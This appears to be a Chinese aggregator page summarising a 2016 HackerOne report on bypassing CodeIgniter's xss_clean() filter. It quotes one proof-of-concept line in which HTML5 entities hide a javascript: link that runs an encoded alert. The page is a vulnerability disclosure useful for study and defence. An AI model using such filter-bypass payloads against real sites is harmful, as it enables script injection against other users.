POJIA破甲
地图 / Link sanitation bypass in xss_clean()

Link sanitation bypass in xss_clean()

跨站脚本 / XSS(通用) / #171670

厂商
CodeIgniter
严重程度
未评级
赏金
—
弱点
XSS(通用)
研究员
@0xsyndr0me
披露日期
2016-11-04
资产
—
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2247 字符中的一小部分)
While researching a website that uses your framework xss_clean() function to sanitize user's input in comments, I was able to bypass it and could trigger XSS payloads using javascript links in allowed tags such as anchors. This could be achieved by using the new HTML5 standard entities such as …
原文中的代码
echo $this->security->xss_clean('<a href="javascript&NewLine;&colon;eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110, 41));">XSS Link</a>');

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 CodeIgniter 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @0xsyndr0me · 版权归作者与 CodeIgniter 所有

同类报告

[Grab Android/iOS] Insecure deeplink leads to sensitive information disclosureGrab · 2019-03-15XSS vulnerable parameter in a location hashSlack · 2019-10-16[accounts.reddit.com] Redirect parameter allows for XSSReddit · 2023-05-18 · $5,000yelp.com XSS ATO (via login keylogger, link Google account)Yelp · 2023-08-15XSS At "pages.et.uber.com"Uber · 2016-08-19XSS at jamfpro.shopifycloud.comShopify · 2023-02-02 · $9,400